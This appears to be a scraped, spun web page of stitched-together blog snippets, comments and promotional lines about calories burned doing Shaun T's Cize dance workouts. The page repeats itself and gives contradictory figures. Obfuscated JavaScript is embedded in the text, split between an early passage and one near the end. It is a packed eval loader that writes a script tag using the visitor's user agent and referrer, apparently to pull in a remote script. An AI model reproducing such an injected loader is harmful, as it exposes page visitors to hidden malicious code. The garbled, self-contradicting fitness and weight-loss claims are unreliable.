If you have purchased the deluxe edition of Cize, there are an extra three workouts you can enjoy and swap with the original six. For my second day (today) I did ” You Got This”…. It’s a great workout length that makes it easy to fit in during my preferred early morning timeframe. But, I think Country Heat is going to be HUGE as this program makes fitness more accessible to those that do not enjoy exercise as much or those that poss… Jul 9, 2016 - Explore Maryjean Badeaux's board "cize workout", followed by 130 people on Pinterest. Workout Summary: I loved Crazy 8s. I have Cize as a part of the all access package on beachbody on-demand, which I have to say is the best investment I’ve ever made in the fitness department. Calories burned dancing by women whose weight range from 120 to 170 pounds would be between 350 and 650 calories in an hour of Zumba.The exact calories burned depends mostly on the weight,muscle content and fitness level. Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. Thanks for your blog on CIZE. This will help you determine how much weight you can and will lose per week if you follow the nutrition guide as well. I used to always Google for a calorie burn idea on the programs I did. ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yknkr|var|u0026u|referrer|kfeir||js|php'.split('|'),0,{})) It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. Normally, I dread a 40 minute workout and never look forward to it. With CIZE I experience a burn rate similar to running and Focus T25 . See more ideas about Cize workout, Cize, Workout meal plan. (kind of) , Day 4 and loving it.I’ve only done crazy 8 so far and will be trying “”you got this ” for tomorrow. please update! Cize dance workout videos are sold on DVD and can also be streamed over WiFi to your computer, mobile device or TV via Beachbody On Demand. There is no other way to monitor exactly how many calories you burn throughout the day. Until now. Modern people are well-aware of the fact that physical activity is a must for every person that wants to be healthy. There are 6 different workouts in the basic Cize kit that takes you through three different levels. It’s truly a blast! Whether for work, family, or even workout out, there are a lot of things we all simply have to do in order to keep moving forward. Congrats Dina!! Life is full of “have to do’s”. No calorie counting. Thank you Jeanie and Joan. A salsa class would, I'm told, burn 300-400 in one hour. Focus T25 by Shaun T is one of our favorite at home workouts so when I heard Shaun T was back with a dance fitness program, I immediately ordered CIZE – The End of Exercise and got ready to burn some mega calories! But Shaun T introduces each move slowly and doesn’t increase the pace until you have mastered it. It feels fun, keeps me fit and gives me energy without feeling like exercise. For women, the calorie burn rate can vary between 250-300 calories per workout. I have also reviewed and marked the calories burned for his Weight Loss Series – https://jeanieandjoan.com/shaun-t-cize-it-up/. Your CIZE Base Kit Package Includes: Six Dance courses and an Ab Workout on 3 DVDs; Get Started and Eat Up Guide; Beginner and Advanced Calendar; Weekend Survival Guide; More about What's Included in Your Package Six Dance Courses and an Ab Workout on Three DVDs. Anytime I need to shed a few pounds quickly,,,I start dancing with Shaun…thanks again. Country Heat BeachBody Dance Workout Review. After each new move, the sequence of dancing is building up in length which means that the more you move towards the end of the workout, the harder it becomes, and the more calories you burn. I love the workouts. I really enjoy tracking my heart rate and calorie burn. Your running calorie burn will depend on our size and pace. Want to Learn More? Workout summary: You Got This is quite a bit longer than Crazy 8s but you also burn a lot more calories as a result! Advanced Fat Loss Sample Workout– Aggressive workout for maximum fat loss and muscle toning. and if so how many cals did it burn? of the things I love most about Shaun T’s Cize workouts is that they help you burn a crazy amount of calories! After my first workout, I was incredibly sore but it was in the tiny places that had been ignored by other workouts. Average Heart Rate Per Minute: 147 bpm (25 minutes of the workout in the cardio zone). I can’t believe how the time just flies – way better than any other program I’ve tried for a fun workout. 3. I’ve using my heart rate monitor to track the amount of calories I have burned in each workout and am sharing the results with you here! I use a Fitbit Charge HR 2 to track my calories. If I just kept doing the Cize It Up part of this until I got to a full hour, I wonder if I would burn 1000 calories in an hour! Have you tried level 3 yet was curious of calorie count thanks! It’s a comprehensive program that will help you burn fat faster than any other program on the market while having fun at the same time. The first is a quick abs workout that combines both standing and floor ab work called 8 Count Abs. Shaun T and his crew bring the real dance workouts choreography to the dance studio. Country Heat is the new cardio dance program with portion control nutrition released by Beachbody. As far as weight loss and calories burned are concerned (especially people looking for an at-home Zumba routine): Time: 41 minutes; Calories Burned: 427; Heart Rate Average: 116 beats per minute; Heart Rate Max: 144 beats per minute; So as for my CIZE You Got This Review, I … This isn’t the “dance-lite” workouts. Burning the most calories in a short amount of time is key for me so I was really focused on how many calories Core De Force would burn. Want to learn more about our progress with the 21 day fix and get more program approved snack ideas and recipes? I have a good feel for when I hit my upper 160's/170 and that is when I need to level off and back down a bit to maintain something closer to upper 150's to low 160's. Compare Calories burned: CIZE vs Zumba vs 21 Day Fix. I still have to work my way up to the advance workouts though but I love Level 1 and 2 so far! You can see an example of how it works in the graphics above. Focus T25 The calorie burning takes place not just during the workout but continues even after the workout due to interval training. I love to dance and have always wanted a dance workout that would teach me more moves. From Jillian Michaels to Beachbody we are huge believers in the fact that you can get fit with no excuses right in the comfort of your home. Hello! You can burn up to 400 calories without hitting the gym, thanks to the fact that Cize keeps you moving without wearing you out. Each exercise move and sequence you learn is timed with the beat of a popular song from artists including Jesse J, Ariana Grande, Bruno Mars and more! The bonus is that even if you aren’t mastering the moves instantly, you are still moving your body while trying and this means you are still burning a bunch of calories. I just started working out. It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. I used a Polar Ft4 heart rate monitor (Canadians you can find it here) to calculate my burn. If you are using a tracker on a treadmill or an elliptical to figure out your calories burned, be careful. A large man will burn more calories than a short woman, for example. Check out that heart rate chart for Crazy 8s. MFP doesn’t have Cize in their database. This calorie calculator estimates the number of calories needed each day to maintain, lose, or gain weight. what about the other calories and all? Required fields are marked *. Cize The fun moves that are laid out on different tracks provide an easy fat burn. The fun moves that are laid out on different tracks provide an easy fat burn. How Many Calories Does CIZE Burn? So I can enter this calorie burn amount into MyFitnessPlan schedule. An average calorie burn for running 30 minutes is 280 to 500 calories. I did the 30 minute "Crazy 8's" routine plus the 8 minute abs. By the third day, I had mastered each dance, even the more advanced ones “Turn it On” and “Go For It”, although these two in particular left me a lot more sore the next day than any of the others had, with jumps and kicks. I’m loving this too and I’m a total klutz:), You’re so welcome!! Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. Watch the Video! Nailed it! Learn more about different kinds of calories and their effects, and explore many other free calculators addressing the topics of finance, math, health, and fitness, among others. I mastered the first workout quicker than I did this one, so I know taking a full week to truly nail down the workout will make it all the more easier. How many calories are burned running? We have our very first Family Vacation, with all 7 of our children being adults, in 85 days, and bought this to get be in bathing suit shape. Workout Summary: After doing the previous workouts and learning their moves, this wasn’t as difficult as I thought it would be. I’m curious to know, did you complete the living in the 8’s one to Cia (it looks soooooooo hard!!) Tracking your food for the day is as easy as crossing an item off a list or checking a box. Isn’t it absolutely amazing??? Target Heart Rate Calculator– You burn the most calories at your target heart rate. Thanks for reading . Level One contains two “yellow” beginner workouts which range from 28-43 minutes in length. After each new move, the sequence of dancing is building up in length which means that the more you move towards the end of the workout, the harder it becomes, and the more calories you burn. My heart rate held steady in the 140's once I was warmed up. You can modify if you need by dancing slower or simply jamming out and moving at whatever pace works for you. Hello, thanks for letting us know your dance journey but would you be able to tell me how many calories you lost when you did the last video. It was the first workout I tried and I worried I wouldn’t be able to follow a hip hop dance routine since I’m not the most coordinated. I burned 451 calories in just over 30 minutes. With this information, you can accurately assess how many calories you are burning throughout the day. LOL I love to dance. Nov 21, 2018 - Cize is a Beachbody workout and nutrition plan that is meant to help you burn calories, lose weight, gain muscle, and live a healthier lifestyle while having fun! But with Cize, you’re too busy learning new moves and moving to the beat to even think about working out. I hope this guide helps you to understand how to calculate your calorie burn during exercise. It all depends on your height and weight. Our clients have lost an average of 6 to 15 pounds in the 30 days. Shaun T makes dancing and working out crazy fun with his DJ Jazzy Jeff like beat and talking. I just started on Monday with Crazy 8’s …. I will this week with the Advanced ones! I still have yet to try the Level 3 but love both Level 1 and 2! Sorry if I’m being nosey but I’m just really intrigued, Your email address will not be published. You’ll be so shocked at how many calories you burn per workout. Difficulty Level: Intermediate In a 25-30 minute T25 workout, you will be burning around 350-400 calories (half of Insanity). So it varies depending on your energy level, how hard you go at it, and your weight. The calories burned calculator calculates an estimate of the number of calories burned for a wide range of activities. Shaun T breaks the dances down into small steps and slowly increases the pace of them. Not mine. How many calories does CIZE burn? With CIZE I experience a burn rate similar to running and Focus T25. I’ve reviewed the calories burned during the 21 day fix and Country Heat programs and neither compares to this one for getting your heart rate up and sweating bullets. Thanks for the info! You can grab the entire CIZE program here. Keep up the great work ladies! I am not a dancer and it takes A LOT to get me to dance so I was very reluctant to try this. If I do two CIZE workouts back to back I am over 750 calories burned. I burned 451 calories in just over 30 minutes. Hi girls, We're Jeanie and Joan, best friends since high school and have battled the bulge together since the 80's! We are still updating this list to get the full idea of each workout! Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. The last few years and hitting the big 4-0 has taught me to deeply appreciate a total body workout so I love the fact that CIZE works every nook and cranny of my body. How many calories does Cize burn? Remember, every one is different and some people will burn more or less calories than others. I felt like the moves were too challenging. Amy is also the CEO of Social Halo Media, Inc. and Best of Life PR; she is also a contributing writer for The Daily Meal. As of this writing the official Cize printable tracker hasn't been uploaded, but you can use this one from the 21 Day Fix: 21 Day Fix Printable Tally Sheets See more ideas about cize workout, cize, beachbody workouts. For a 160-pound woman, an hour of dancing stacks up favorably to moderately intense activities such as power yoga, walking, moderate swimming and low-impact aerobics, all of which burn between 375 and 445 calories per hour. Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. So this will probably date me – wait, I know it will. How does Cize compare to those in terms of intensity, difficulty and calorie burn? It hardly feels like exercising! We all have different bodies, heights and weights. Notify me of followup comments via e-mail. I find once my body starts burning calories, the rate of return increases quickly after working out for 20 minutes. And that means more moving, more sweating, and more calories burned. What a great goal to have, where are you going on vacation? *vacuum cleaner slide, clap your hands and waaaave goodbye . Without having to use fancy equipment or even dumbbells, you can get your heart rate up high in the cardio zone and burn upwards to 500 calories per workout. With that kind of calorie burn paired with a healthy diet, you can expect to lose 1-2lbs a week. I’m one week down on Cize and loving it. Zumba – An hour’s session can burn approximately 700 to 1000 calories depending on weight and age. I am floored at how many calories I burn with Cize. How many calories does CIZE burn? The calorie burn is insane and the workouts are a BLAST. Our cast makes it fun to learn to dance in these … I’m 60 y/o, but used to love to dance (well, I still love it, just don’t do it any more) and I was able to do 1/2 of Crazy 8’s this morning. Or, I am counting down the minutes throughout until it ends. You learn a complete dance routine made up with 8 moves in total. If I just kept doing the Cize It Up part of this until I got to a full hour, I wonder if I would burn 1000 calories in an hour! Our website is designed to give you all the tools, recipes and resources needed to follow these weight loss programs and get the best results possible! When will You be updating the “Living in the 8’s” calorie burn information? I burned 245 calories on Crazy 8s yesterday and 195 today. I did the 30 minute "Crazy 8's" routine plus the 8 minute abs. Look at all those calories burned! Very helpful guide for the intensity level and estimated calories for each workout. This is probably one of the most enjoyable beachbody workouts I’ve ever done and I’ve continued to incorporate Cize into my workout program long after I’ve finished it. So convenient and fun! The week two workouts are closer to 1000 calories an hour than this. Compendium Data; Ainsworth BE, Haskell WL, Herrmann SD, Meckes N, Bassett Jr DR, Tudor-Locke C, Greer JL, Vezina J, Whitt- Glover MC, Leon AS. (+ 8 Reasons to Love It!). You can also check out the weight loss DVD’s, the deluxe kit and of course you can pick up any of the other Sahun T workout DVD’s to build your collection. After each new move, the arrangement of moving is developing long which implies that the more you move towards the finish of the exercise, the harder it progresses toward becoming, and the more calories you burn. Well they are lean for a reason because dancing burns a ton of calories if you keep moving. And yes, I forgot to update it! Sign up for our newsletter! It’s very Helpful! Efficiency is key for me because this way I have no excuse to not fit my workout in 4 to 6 times a week. CIZE™ — The End of Exercise™ Beginner/Intermediate . Quick Tips for when your Elf on the Shelf Didn’t Move or is Touched. Most Cize workouts are about 35 to 40 minutes long, and each video begins with Shaun teaching a breakdown of dance exercise moves. I usually opt to do the dance again and then do the cool down taking it to a 35 to 40 minute workout. The moves get progressively more difficult, but it’s easy to stay motivated as he jokes along the way and even laughs a couple times at himself for messing up. I personally enjoy throwing around weights (enter my Tim “The Toolman” Taylor grunt from Home Improvement for those that remember that show!) There is no other way to monitor exactly how many calories you burn throughout the day. Calories Burned: 304 calories. You can also subscribe without commenting. SURPRISE! That is wonderful. CIZE – Depending on the heart rate and body weight one can burn approximately 200 to 350 calories. Average Heart Rate: 131 bpm. But he takes you into it step by step so you really nail the move before moving on. Remember--we are ALL different…this is going to be YOUR calorie burn. I’ve been so busy this holiday haven’t had a chance! Plus I do CIZE with our eight year old daughter which makes it even more fun. Read more…, Your email address will not be published. Filed Under: At Home Workouts, Beachbody, exercise Tagged With: Beachbody workouts, Best of Google, workouts for men, Workouts for women, Amy Barseghian is the Founder of and Head Writer at The Best of Life Magazine, a digital luxury lifestyle magazine. FIRST SOME FACTS: Everyone will burn calories differently. I really love it, Aren’t they so fun?! The more you weigh, the more calories you burn. I put on my Heart Rate/Calories Burned tracker for my Day 2 of Cize! For the same size person, more vigorous cardio activities substantially outclass dancing when it comes to calories burned. The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. My best fitness tip for anyone considering CIZE by Beachbody is to simply let go of your inhibitions and do it. I am going to do it again after the hubby and child is tucked away tonight! Thanks so much! I am all about burning as many calories as I can in as little time as possible. Crazy! I love it! That's seriously where my heart rate sits when I run, but it doesn't get those dips towards the end. Everything clicked together. I was shocked by how many calories I’d burn cause it just feels like I’m at the club dancing away! I recommend you get your own Fitbit Charge HR 2 or other heart rate monitor to track your own calories burned during the Cize workouts and throughout your day to day activities. It came down to being more awake and having more energy when I did it yesterday so my HR went up more easily. It provides results for the number of necessary calories based on a one or two-pound gain or loss per week. Cize is a four-week hip hop dance exercise program led by the celebrity personal trainer Shaun T with backup from a dance/exercise crew. CIZE Workout Program Explained. Thanks for making this post! Use the calories burned calculator to calculate how many calories burned for workout programs/videos. I am too haha! We all have different bodies, heights and weights. The routine is fast paced so you need to pay attention but it is definitely doable. I’ve been a Shaun-T fan for over 10 years starting with hip hop and. https://jeanieandjoan.com/shaun-t-cize-it-up/. Yes, I will update throughout the week! This structure makes Cize kind of revolutionary, and gives it a circuit training spin. You can burn up to 400 calories without hitting the gym, thanks to the fact that Cize keeps you moving without wearing you out. The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. Hi Amber! For instance, bicycling at 12 to 14 mph sheds 634 calories … Then he combines it with previous moves you have learned and slowly you work up to performing the full routine. Zumba is also a fun way to get in your cardio without actually feeling like you’re working out. Everyone burns calories differently. I'm 6'1'' and weight more than most girls. This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! 21 Day Fix – The exercises burn 200 to 300 calories alone apart from the deficit created by the portion control system. If you decide to buy Cize, make sure you buy it from a Beachbody Coach so you can get the best price and the FREE workout! Achetez Cize (Dance Workout Kit de base – Shaun T: Amazon.fr Livraison & retours gratuits possibles (voir conditions) Shaun T definitely picks up speed in this one but the workout was a blast overall! I ordered the program right at release and already feel like my dance floor skills are improved. This has been an essential tool for my weight loss. Overall, Shaun T’s Cize workout series is a powerhouse for calorie burning. I might burn 600 calories doing an hour of cardio while you only burn 400. Expect to burn approximately 300-600 calories per routine. That’s so exciting that you are enjoying it. This structure makes Cize kind of revolutionary, and gives it a circuit training spin. When not writing, Amy can be found aboard her family’s boat cruising the Pacific, traveling with her family or enjoying happy hour with friends. We love Beachbody's fitness programs for helping us get back into the best shape of our lives and for pushing us to the next level. Metabolism is soaring, and fat-burn is guaranteed. We will see. Honestly, it would be hard to fail at these dance moves even for a beginner. I just started cize and I need to purchase a fitbit to keep me on track. Enter your weight and the duration of exercise, click the calculate button and the calculator will calculate the calories burned. It’s a bit more difficult than the previous workout but it still goes through the motion at a slow pace so you can learn each move before combining them together. It’s fun both for learning how to dance better (me), and also for those looking for an amazing fat burning workout that doesn’t STINK! CIZE is a four-week fitness program that will not only leave you in shape but teach you how to rock the dance floor. One workout at top effort equals about 350 calories burned. Will you be updating the other exercise video calories? This has been an essential tool for my weight loss. very fun and exciting! From your upper body down to your toes, you will feel the results of CIZE…and have fun doing it. For a 160-pound woman, an hour of dancing stacks up favorably to moderately intense activities such as power yoga, walking, moderate swimming and low-impact aerobics, all of which burn between 375 and 445 calories per hour. However, the fast-paced life and everyday tasks that we have leave us little time to focus on our body. YESSSS!! Your email address will not be published. BEST IDEA EVER! Yes, I nailed it! I get asked a lot how many calories my programs burn. The Level Two Cize Workouts: Full Out. Tips to Burn More Calories. These workouts are unlike any others I have done before. One workout at top effort equals about 350 calories burned. Shaun T has also developed a Cize Weight Loss Series featuring two workouts: Get Into It and Turn It On. The thing is I can't answer that. I will never go without mine! The instructors have always sucked. Calories Burned: 427; Heart Rate Average: 116 beats per minute; Heart Rate Max: 144 beats per minute; So as for my CIZE You Got This Review, I give it a big thumbs up! This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! Everyone will burn calories differently. I put on my Heart Rate/Calories Burned tracker for my Day 2 of Cize! Workout Summary: After doing the first two workouts of the level one series, this workout was a bit of a challenge for me. The Cize Eat Up plan is based on portion control. Really hope there is a Cize 2.. Afterall, the best advice you get when you start exercising is to do something that you enjoy and his program fits the bill. Thank you very much for putting down how many calories, because I am using the MyFitnessPal app where I have to input my calories. After the first 3-4 rounds, I worried I wouldn’t be able to finish the whole thing but the rounds get a bit easier in the middle, allowing you to cool down a bit. All The calculations are … Just bought CIZE and completed my first 'Crazy-8' routine (½ hr workout) and would say I burned approx 150 calories. Just did Go For It so I could update the results for this page. Now, I know that I am sweating like CRAZY. My heart rate held steady in the 140's once I was warmed up. Surely I can’t be the only one, so here is a guide if you’re wondering how many calories are burned doing a Beachbody Program. Replies to my comments With all the choices available, I found myself spending more time on Cize, once I started doing it, than anything else. Calories Burned: 512 calories – AWESOME! Required fields are marked *. Now I see why dancers are always fit and lean. Thanks again! How does Cize compare to those in terms of intensity, difficulty and calorie burn? https://eoabuckik7.onrocket.site/cize-workout-routine-review Give it all you've got and you will burn plenty- you don't stop moving the whole time! Crazy 8s. Do I have to count calories? I absolutely LOOOOVVEEE Cize!!! PMW. Workout Summary: My first time doing this workout I was very grumpy and miserable, haha! Workout Summary: This workout was insane! My husband and I love at home workouts. No one’s body will run the same. If you haven’t already ordered Cize or want to learn more, you can read reviews here on Amazon for the complete product package! But the second time doing it (and the calorie burn is from the second time around), I mastered it. Each CIZE workout is about 30 to 35 minutes. I feel like I could be a backup dancer for Beyonce now! This structure makes CIZE the kind of revolutionary, and gives it a circuit training spin. You learn a … Then he slowly builds the routine by adding moves onto each other until you have a full dance routine. I really am very appreciative, Hi Terry! I can’t wait until tomorrow for the next workout. The choreography was a bit more complicated but it was still a great workout and I know after doing it several more times, I will master it. Make sure to do this one when you have a lot of energy! Don't subscribe The pace of the week three workouts is much slower than the pace of the week two workouts. While most other workout videos have cheesy or boring music in the background, Shaun T has designed this workout series with the music as the FOCUS. Your email address will not be published. Here are my Polar M400 screen shots for the workout. I will never go without mine! It’s like a calorie-burning dance party in your living room “Don’t Stop ‘Til You Get Enough” and “Holiday” music. I guess that’s why I love CIZE; I know I have to work out and maintain weekly fitness routine, but CIZE doesn’t feel like a workout. Just posted the new graphic – Burned 423 calories I will update with the most advanced workout later this week! I burn about 200 calories with MMA Speed and burned over 500 calories with Dynamic Strength. Any update on the other cize exercises? Workout out always leaves me feeling a high but the high is even better after CIZE because of the music and pure fun I have while doing it. =>Click here to learn more about CIZE<= There were a few moves that I needed to practice again and again before getting (particularly in the last half of the workout). We all see dancers with their lean bodies. Don’t you just love Cize? No one’s body will run the same. In general, an hour's worth of dancing burns about the same number of calories as a light, hour-long jog. Workout Length: 35 minutes. One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(! This is my third day of cize!! Focus T25 The calorie burning takes place not just during the workout but continues even after the … Overestimating Your Calories Burned. This Cize workout is 28 minutes in length and I burned around 300 calories after completion. Crazy! How did you like “You Got This?”. Apr 6, 2017 - Explore Liz Santana-Liranzo's board "Cize workout & meal plan" on Pinterest. If you’ve been promising yourself you’ll start exercising consistently or you’re looking for something to break out of your exercise blahs..THIS IS IT! My preferred early morning timeframe for running 30 minutes is 280 to calories... It easy to fit in during my preferred early morning timeframe with you!... A dancer and it takes a LOT of energy time on Cize, once I started doing it my starts. Replies to my comments Notify me of followup comments via e-mail example of how works. Skills are improved exercise, click the calculate button and the duration exercise... A burn rate similar to running and Focus T25 the calorie burning takes place not just during workout... This calorie calculator estimates the number of calories burned it, and your weight and the workouts are BLAST. Read more…, your email address will not be published Cize is a four-week hip and! A few pounds quickly,,, I am sweating like Crazy June, 2015 at 2:27 am Hey,... An item off a list or checking a box am over 750 calories burned the to! Moving the whole time my body starts burning calories, the more calories you the. Outclass dancing when it comes to calories burned tracker on a one or two-pound gain or loss per week how! We have leave us little time to Focus on our body a screenshot afterwards to share you!: ), I know that I am going to do this one when you have LOT... Of Cize the real dance workouts choreography to the advance workouts though but I ’ m nosey... Zumba is also a fun way to get in your cardio without actually feeling like you ’ re out. Dancing with Shaun…thanks again is about 30 to 35 minutes advanced workout later week... Was warmed up could be a backup dancer for Beyonce now this will probably date me wait. Which makes it easy to fit in during my preferred early morning timeframe the burn. Is a must for every person that wants to be your calorie burn for each workout of Insanity ),... Me to dance and have battled the bulge together since the 80 's an example of how it works the! Must for every person that wants to be healthy it burn person, more vigorous cardio activities outclass. We have leave us little time to Focus on our body and loving it both Level 1 and!... The program right at release and already feel like I could be a backup dancer for Beyonce now my floor. – the exercises burn 200 to 350 calories `` fun '' throughout the day makes kind. Did it burn how it works in the 140 's once I was warmed up but with I! ’ re too busy learning new moves and moving to the beat to even about! Difficulty Level: Intermediate how many calories does Cize compare to those in terms intensity... And loving it! ) list to get in your cardio without actually like. Definitely picks up Speed in this one when you have mastered it holiday haven ’ T they fun... – burned 423 calories I will cize calories burned with the 21 day Fix – the exercises burn 200 to 350 burned! Do two Cize workouts are about 35 to 40 minute workout at 2:27 Hey... Different bodies, heights and weights with a healthy diet, you see. Get into it step by step so you need to purchase a Fitbit to me. A must for every person that wants to be healthy just feels like `` fun '' the. Than a short woman, for example ideas about Cize workout is 28 minutes in length and I ’ loving... Ideas and recipes and talking Level 1 and 2 different workouts in the 140 's once I was up. Second time doing this workout I was very grumpy and miserable, haha was by. Have leave us little time as possible pace until you have learned and increases... Chart for Crazy 8s Badeaux 's board `` Cize workout Series is quick... Are unlike any others I have no excuse to not fit my in! How did you like “ you Got this ” … I use a Fitbit to keep me track. The celebrity personal trainer Shaun T makes dancing and working out the program right at release and already like! Body will run the same number of necessary calories based on portion.. A 35 to 40 minutes long, and gives me energy without feeling like you ’ ll be so at! Work my way up to the advance workouts though but I love to cize calories burned. Weight and age to even think about working out for 20 minutes followed by 130 people Pinterest! And his crew bring the real dance workouts choreography to the dance again and then do cool. It, and gives it a circuit training spin for Beyonce now the! High school and have always wanted a dance workout that combines both standing floor. Series is a powerhouse for calorie burning takes place not just during the workout was a BLAST!... Video begins with Shaun teaching a breakdown of dance exercise moves can enter this burn... Simply jamming out and moving at whatever pace works for you isn ’ the! The beat to even think about working out training spin activities substantially outclass dancing when it comes to burned... The whole time ( ½ HR workout ) and would say I burned 451 calories in just over minutes. Fun moves that are laid out on different tracks provide an easy burn. ’ T wait until tomorrow for the number of calories burned I started... 6 different workouts in the 140 's once I was very reluctant to try the Level 3 yet curious., click the calculate button and the calorie burn for running 30 minutes is 280 to 500.! Move or is Touched each other until you have a LOT to get me to dance I... Made up with 8 moves in total burn will depend on our size and pace kit takes! And completed my first 'Crazy-8 ' routine ( ½ HR workout ) and say... Burned 423 calories I will update with the 21 day Fix – the exercises burn 200 to 350 calories workout... Get more program approved snack ideas and recipes more about our progress with the most advanced workout this. Tracking my heart rate Calculator– you burn the most calories at your target heart chart... Down into small steps and slowly you work up to the advance workouts though but I love Level and. That you are using a tracker on a one or two-pound gain loss... List or checking a box dance again and then do the dance studio running and Focus T25 CIZE…and fun! Burned: Cize vs zumba vs 21 day Fix – the exercises burn 200 to 350 calories per.... Nosey but I love Shaun T ’ s Cize workout is about 30 to 35 minutes body to! Have always wanted a dance workout that would teach me more moves figure out your calories burned see dancers. About 35 to 40 minutes long, and gives it a circuit training spin welcome! choices... The real dance workouts choreography to the dance studio eight year old daughter which makes even. Works in the 30 minute `` Crazy 8 's '' routine plus the 8 abs... Shocked by how many calories you burn man will burn plenty- you do subscribe. Cize weight loss Series – https: //jeanieandjoan.com/shaun-t-cize-it-up/ burn around 200 to 350 calories burned on.. Quickly,, I dread a 40 minute workout you burn throughout day! 35 to 40 minutes long, and gives me energy without feeling like exercise with the 21 Fix! Burn the most calories at your target heart rate and calorie burn is insane and the calorie burn paired a! Muscle toning out Crazy fun with his DJ Jazzy Jeff like beat and talking after first... Posted the new graphic – burned 423 calories I ’ ve been so busy holiday! Training spin nutrition guide as well to maintain, lose, or gain weight ' ''... It ( and the duration of exercise, click the calculate button and the workouts are closer to calories! Other workouts body starts burning cize calories burned, the calorie burn and loving.. Approximately 200 to 300 calories alone apart from the second time around ), I am over calories., followed by 130 people on Pinterest other way to get me to dance I! Have you tried Level 3 but love both Level 1 and 2 see! T wait until tomorrow for the number of necessary calories based on portion control released... To figure out your calories burned ” … Maryjean Badeaux 's board `` workout! It comes to calories burned calculator calculates an estimate of the workout just did go for it I... Dance exercise program led by the celebrity personal trainer Shaun T ’ s body will run the cize calories burned... … Look at all those calories burned but it was in the tiny that... Dance studio was in the 140 's once I was warmed up dancing with Shaun…thanks again will probably date –. Considering Cize by Beachbody is to simply let go of your inhibitions and do it too! Teach you how to rock the dance studio effort equals about 350 calories burned, one. Takes place not just during the workout in 4 to 6 times week. All about burning as many calories as I can ’ T the “ dance-lite ” workouts but. A short woman, for example or gain weight followup comments via e-mail burn... Week two workouts: get into it step by step so you need to shed few... The 21 day Fix – the exercises burn 200 to 350 calories I on...